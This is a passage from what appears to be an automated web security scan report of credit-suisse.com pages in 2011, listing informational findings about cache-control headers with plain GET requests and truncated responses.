Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 17083

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.38. https://www.credit-suisse.com/investment_banking/award_rankings/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/award_rankings/en/index.jsp

Request

GET /investment_banking/award_rankings/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:57 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 19102

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.39. https://www.credit-suisse.com/investment_banking/awards_rankings/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/awards_rankings/en/

Request

GET /investment_banking/awards_rankings/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:56 GMT
Content-Length: 202
Content-Type: text/html; charset=UTF-8
Connection: close

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:jsp="http://java.sun.com/JSP/Page">
<head>
<meta http-equiv="refresh" content="0; URL=/investment_banking/award_rankings/en/index.jsp"/>
</head>
</html
...[SNIP]...

17.40. https://www.credit-suisse.com/investment_banking/client_notices/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/client_notices/en/

Request

GET /investment_banking/client_notices/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:56 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 21170

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.41. https://www.credit-suisse.com/investment_banking/doc/european_economics.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/doc/european_economics.pdf

Request

Response

17.42. https://www.credit-suisse.com/investment_banking/doc/global_economics_daily.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/doc/global_economics_daily.pdf

Request

Response

17.43. https://www.credit-suisse.com/investment_banking/doc/global_economy_monthly_review.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/doc/global_economy_monthly_review.pdf

Request

Response

17.44. https://www.credit-suisse.com/investment_banking/doc/japan_economics_weekly.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/doc/japan_economics_weekly.pdf

Request

Response

17.45. https://www.credit-suisse.com/investment_banking/doc/market_focus.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/doc/market_focus.pdf

Request

GET /investment_banking/doc/market_focus.pdf HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

17.46. https://www.credit-suisse.com/investment_banking/doc/us_economics_digest.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/doc/us_economics_digest.pdf

Request

Response

17.47. https://www.credit-suisse.com/investment_banking/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/en/

Request

GET /investment_banking/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:39 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 21307

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.48. https://www.credit-suisse.com/investment_banking/en/biography/ib_management.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/en/biography/ib_management.jsp

Request

GET /investment_banking/en/biography/ib_management.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:40 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 19539

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.49. https://www.credit-suisse.com/investment_banking/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/en/index.jsp

Request

GET /investment_banking/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.credit-suisse.com/us/privatebanking/en/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CsgBasePath=/us/; SCDID_S=LXcVh5QS5GwUF4CWPIBkhbmPUuqF9LWwHmrmoyB0CVZ-O5s1JkxpiQ$$; imagerotation=0/0

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:31:30 GMT
Content-Type: text/html; charset=UTF-8
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 21307

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.50. https://www.credit-suisse.com/investment_banking/equities/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/equities/en/

Request

GET /investment_banking/equities/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:44 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 21706

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.51. https://www.credit-suisse.com/investment_banking/equities/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/equities/en/index.jsp

Request

GET /investment_banking/equities/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 21706

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.52. https://www.credit-suisse.com/investment_banking/fixed_income/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/fixed_income/en/

Request

GET /investment_banking/fixed_income/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 20132

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.53. https://www.credit-suisse.com/investment_banking/fixed_income/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/fixed_income/en/index.jsp

Request

GET /investment_banking/fixed_income/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:46 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 20132

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.54. https://www.credit-suisse.com/investment_banking/industry_expertise/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/industry_expertise/en/

Request

GET /investment_banking/industry_expertise/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:52 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 18862

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.55. https://www.credit-suisse.com/investment_banking/industry_expertise/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/industry_expertise/en/index.jsp

Request

GET /investment_banking/industry_expertise/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 18862

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.56. https://www.credit-suisse.com/investment_banking/research/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/research/en/

Request

GET /investment_banking/research/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 21541

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.57. https://www.credit-suisse.com/investment_banking/research/en/cusp.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/research/en/cusp.jsp

Request

GET /investment_banking/research/en/cusp.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:56 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 22542

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.58. https://www.credit-suisse.com/investment_banking/research/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/research/en/index.jsp

Request

GET /investment_banking/research/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

17.59. https://www.credit-suisse.com/investors/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investors/en/

Request

GET /investors/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:41 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 36765

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...

17.60. https://www.credit-suisse.com/investors/en/contacts_investor.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investors/en/contacts_investor.jsp

Request

GET /investors/en/contacts_investor.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 25721

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.61. https://www.credit-suisse.com/investors/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investors/en/index.jsp

Request

GET /investors/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

17.62. https://www.credit-suisse.com/investors/en/reports/2010_cr_report.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investors/en/reports/2010_cr_report.jsp

Request

GET /investors/en/reports/2010_cr_report.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 45429

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.63. https://www.credit-suisse.com/legal/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/legal/en/

Request

GET /legal/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:40:35 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 28635

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.64. https://www.credit-suisse.com/legal/en/pb/pb_usa.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/legal/en/pb/pb_usa.jsp

Request

GET /legal/en/pb/pb_usa.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:40:35 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 15054

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.65. https://www.credit-suisse.com/markets/emerging_markets/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/markets/emerging_markets/

Request

GET /markets/emerging_markets/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:36 GMT
Accept-Ranges: bytes
Content-Length: 84
Content-Type: text/html
Last-Modified: Mon, 03 Jan 2011 08:15:30 GMT
Connection: close

<html>
   <head>
       <meta http-equiv='refresh' content='0; URL=./en'>
   </head>
</html>

17.66. https://www.credit-suisse.com/markets/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/markets/en/

Request

GET /markets/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:35 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 22397

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/xht
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.67. https://www.credit-suisse.com/news/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/news/en/

Request

GET /news/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:37 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29812

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...

17.68. https://www.credit-suisse.com/news/en/contacts_press.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/news/en/contacts_press.jsp

Request

GET /news/en/contacts_press.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:38 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 20814

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.69. https://www.credit-suisse.com/news/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/news/en/index.jsp

Request

GET /news/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

17.70. https://www.credit-suisse.com/news/en/media_release.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/news/en/media_release.jsp

Request

GET /news/en/media_release.jsp?ns=41810 HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

17.71. https://www.credit-suisse.com/news/it/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/news/it/index.jsp

Request

GET /news/it/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:49:39 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 27182

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">

...[SNIP]...

17.72. https://www.credit-suisse.com/patriotact/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/patriotact/en/

Request

GET /patriotact/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:40:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 15100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.73. https://www.credit-suisse.com/primetrade/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/primetrade/

Request

GET /primetrade/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:46:02 GMT
Content-Length: 182
Content-Type: text/html; charset=UTF-8
Connection: close

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:jsp="http://java.sun.com/JSP/Page">
<head>
<meta http-equiv="refresh" content="0; URL=http://www.csfb.com/ptrade/"/>
</head>
</html>

17.74. https://www.credit-suisse.com/primeview/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/primeview/

Request

GET /primeview/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:46:00 GMT
Content-Length: 185
Content-Type: text/html; charset=UTF-8
Connection: close

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:jsp="http://java.sun.com/JSP/Page">
<head>
<meta http-equiv="refresh" content="0; URL=http://www.csfb.com/primeview/"/>
</head>
</html>

17.75. https://www.credit-suisse.com/privacy/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/privacy/en/

Request

GET /privacy/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:40:38 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 22118

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.76. https://www.credit-suisse.com/responsibility/de/initiatives/education_initiative/initiatives_education.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/de/initiatives/education_initiative/initiatives_education.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:47 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 16712

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.77. https://www.credit-suisse.com/responsibility/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/

Request

GET /responsibility/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:47 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 31649

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.78. https://www.credit-suisse.com/responsibility/en/accessibility.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/accessibility.jsp

Request

GET /responsibility/en/accessibility.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
